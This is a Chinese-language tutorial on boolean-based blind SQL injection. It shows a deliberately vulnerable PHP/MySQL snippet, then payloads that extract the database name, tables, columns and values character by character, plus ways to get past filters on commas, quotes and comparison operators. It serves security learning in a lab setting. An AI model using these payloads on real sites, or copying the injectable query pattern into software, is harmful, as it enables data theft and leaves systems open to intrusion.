SQL注入利用 学习- 布尔盲注

布尔盲注适用场景:

1、WAF或者过滤函数完全过滤掉union关键字

2、页面中不再回显具体数据,但是在SQL语句执行成功或失败返回不同的内容

代码分析:过滤关键字 union

复制代码
if(preg_match('/union/i', $id))
{
echo "fail";
exit;
}

代码分析:数据不会回显

复制代码
$conn = mysql_connect('localhost','root','123456') or die('连接数据库失败!');
mysql_query('set names utf-8',$conn);
mysql_query('use web_sql',$conn);
$sql = "select * from person where id = {$id}";
$res = mysql_query($sql,$conn) or die(mysql_error());
$row = mysql_fetch_array($res);
if($row){
$flag = "success";
}else{
$flag = "fail";
}

布尔注入原理:

利用 逻辑关系对SQL语句进行"干预"。

例如 select * from article where id = 1

如果拼接and 1=1 恒为真,输 出正确情况。

如果拼接 and 1=2 恒为假,输出错误情况。

此时可以确定 and 1=1 和 and 1=2 返回不同结果,此时id参数存在SQL注入漏洞。

布尔盲注实验

1、获取数据库名称

遍历数据库长度的字符,最终找到数据名称:web_sql

复制代码
and+length(database())>=num #根据页面返回长度判断数据库长度
and+substr(database(),1,1)='a' #逐字遍历(替换a) #substr substring mid 都可以截取字符串其中一部分
如果过滤引号,可以适用 and+ascii(substr(database(),1,1)) = 96 #根据ascii值判断 ord 也可以实 现

2、获取数据表名称

其中 limit m,n m为起始位置,n为长度。 limit 0,1 获取第一个数据。

复制代码
and ord(mid((select table_name from information_schema.tables where table_schema='web_sql' limit 2,1),1,1)) = 96

3、获取字段名称

复制代码
and ord(mid((select column_name from information_schema.columns where table_name='admin' limit 2,1),1,1)) = 97

4、获取数值部分

复制代码
and ord(mid((select 字段 from 表名),1,1)) = 97

布尔盲注过滤绕过技巧:

绕过核心就是将布尔利用技术中的关键字进行替换

复制代码
and ord(mid((select table_name from information_schema.tables where table_schema='web_sql' limit 2,1),1,1)) = 96

1、过滤逗号绕过技巧

在进行盲注过程中,可能需要substr(),mid(),limit等函数或操作符,此时要用到逗号。如果逗号被过滤可 以使用以下技巧。

复制代码
mid(username,1,1) 等价于 mid(username from 1 for 1)
substr(username,1,1) 等价于 substr(username from 1 for 1)
select * from admin limit 1,1 等价于 select * from admin limit 1 offset 1;

2、过滤比较运算符技巧

在进行盲注过程中,需要适用大于或小于比较运算符。如果过滤,可以使用以下技巧 。

复制代码
greatest(n1, n2, n3...):返回n中的最大值
greatest(ascii(substr(username,1,1)),1)=97;
least(n1,n2,n3...):返回n中的最小值
strcmp(str1,str2):若所有的字符串均相同,则返回0,若根据当前分类次序,第一个参数小于第二个,则返回
-1,其它情况返回 1
substr(username,1,1) in ('t');
between a and b:范围在a-b之间
and substr(username,1,1) between 'a' and 't';
and substr(username,1,1) between 't' and 't';

实验:完成题目过滤绕过

过滤代码 preg_match("/union|and|benchmark|ascii|substr|,|>|<|=|\s+/i",$sql)

相关推荐
迪康Defender1 小时前
终端安全实战:如何高效解决企业U盘泄密与管控难题
运维·网络·安全·web安全·终端安全管理
一 乐2 小时前
二手交易平台|基于springboot + vue二手交易平台(源码+数据库+文档)
java·数据库·vue.js·spring boot·小程序
网安小学生(兼顾数据库版)2 小时前
固件+软件供应链:ONEKEY+Mend如何实现全链路安全覆盖
网络·安全·web安全
SelectDB2 小时前
同等资源下 Apache Doris 4.2 vs StarRocks 4.1.1:1TB SSB 与 TPC-H 性能实测
大数据·数据库·数据分析
这个DBA有点耶2 小时前
数据库集群与分布式架构:三条技术路线对比、金仓KES RAC实测数据与决策框架
数据库·程序员·架构
MayBaymax2 小时前
MongoDB 索引与事务
java·数据库·mongodb
SelectDB2 小时前
Doris vs ClickHouse:企业 OLAP 走向下一阶段,两种技术路线如何选择
大数据·数据库·数据分析
vx-程序开发2 小时前
【计算机毕设】django校园跑腿服务系统83141
java·数据库·vue.js·spring boot·spring·elasticsearch·django
&不羁之风&3 小时前
从 MySQL 到 MongoDB:80 万系统日志(sys_log)平滑迁移完整实战(含 Windows 环境 mongoimport 安装与避坑)
mysql·mongodb
珠海西格电力3 小时前
零碳园区管理系统“智慧大脑”功能对园区运营成本的影响有哪些?
大数据·人工智能·安全·系统架构·能源